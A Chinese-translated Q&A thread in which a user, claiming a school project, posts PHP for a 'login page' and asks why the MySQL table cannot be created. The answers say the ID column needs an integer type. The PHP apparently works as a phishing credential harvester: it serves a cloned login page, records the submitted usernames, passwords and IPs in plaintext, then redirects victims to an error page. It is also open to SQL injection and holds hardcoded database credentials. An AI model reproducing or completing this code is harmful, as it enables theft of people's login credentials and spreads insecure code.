我无法将数据保存在mysql上

时间:2016-12-08 06:44:08

标签: php mysql

今天嘿朋友我正在创建我的登录页面,这保存了我的数据库用户传递这个项目在我的学校给了我,现在我完全感到沮丧,因为一切似乎都是正确的,但当我尝试创建数据库时,它说错误......我已经在 index.php 脚本...

之后发布了屏幕截图
 [<?php
    { //credit
    /* 
    *
    *by nalin
    *
    *PHP ver 5.1.0>
    *Tested on 5.5.27
    *
    *
    */ 
    }
    { //config
    error_reporting(0); //turn off error
    //server address
    $data\[server\] = "localhost";
    //user name
    $data\[username\] = "a0103769_nalin";
    //password here
    $data\[pass\] = "Hydrogen";
    //database name
    $data\[db\] ="a0103769_nalin";
    //table name
    $data\[db2\] ="data";
    //redirect when detect the username/pass is empty
    //prevent the db getting filled with junk aka empty tables
    $header_empty = $_SERVER\['PHP_SELF'\];
    //when it is logged
    $header_success ="error.html";
    }
    { //mod 
    //cloud flare ip converter
    if(isset($_SERVER\["HTTP_CF_CONNECTING_IP"\])){
    $_SERVER\['REMOTE_ADDR'\] = $_SERVER\['HTTP_CF_CONNECTING_IP'\];
    };
    }
    if(isset($_POST\[submit\])){ //Send pass & username to MYSQL
    $id\[name\] = $_POST\[uom\];
    $id\[pass\] = $_POST\[pass\];
    $id\[ip\] = $_SERVER\[REMOTE_ADDR\];
    $idts = gmdate('Y-m-d h:i:s \G\M\T');
    {//empty filler
    if(null == $id\[name\]){
    header("Location: $header_empty");
    die();
    };
    if(null == $id\[pass\]){
    header("Location: $header_empty");
    die();
    };
    }
    $con = mysql_connect($data\[server\],$data\[username\],$data\[pass\]);
    mysql_select_db("$data\[db\]",$con);
    $sql = "INSERT INTO `$data\[db\]`.`$data\[db2\]` (`ID`, `Name`, `Pass`, `IP`, `Time`) VALUES (NULL, '$id\[name\]', '$id\[pass\]', '$id\[ip\]', '$idts')";
    mysql_query($sql);
    mysql_close($con);
    header("Location: $header_success");
    };
    if(!isset($_POST\[submit\])) { //echo the full login page
    echo '
    <html lang="en" data-scribe-reduced-action-queue="true"><!--<!\[endif\]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

MySQL查询

CREATE TABLE `a0103769_nalin`.`data` (
    `ID` TEXT NULL DEFAULT NULL AUTO_INCREMENT,
    `Name` TEXT NULL DEFAULT NULL,
    `Password` TEXT NULL DEFAULT NULL,
    `IP` TEXT NULL DEFAULT NULL,
    `Time` TEXT NULL DEFAULT NULL,
    PRIMARY KEY (`ID`)
)
ENGINE = InnoDB;

3 个答案:

答案 0 :(得分:0)

要使用AUTO_INCREMENT,您需要将列定义为INT或浮点类型,而不是文本。

AUTO_INCREMENT仅使用无符号值,因此也可以使用UNSIGNED;

CREATE TABLE a0103769_nalin.data ( ID INT NULL DEFAULT NULL AUTO_INCREMENT , 
Name TEXT NULL DEFAULT NULL , Password TEXT NULL DEFAULT NULL , IP TEXT NULL    
DEFAULT NULL , Time TEXT NULL DEFAULT NULL , PRIMARY KEY (ID)) ENGINE = InnoDB;

答案 1 :(得分:0)

您的ID列的数据类型不能是 TEXT 应该是Integer 类型,因为它是主键 AUTO_INCREMENT仅用于INTEGER

答案 2 :(得分:0)

根据提供的图片:

enter image description here

由于您的ID(PRIMARY KEY)列的数据类型错误,您收到错误。所以你只需要将其数据类型从TEXT更改为INT或者系统所需的int类型。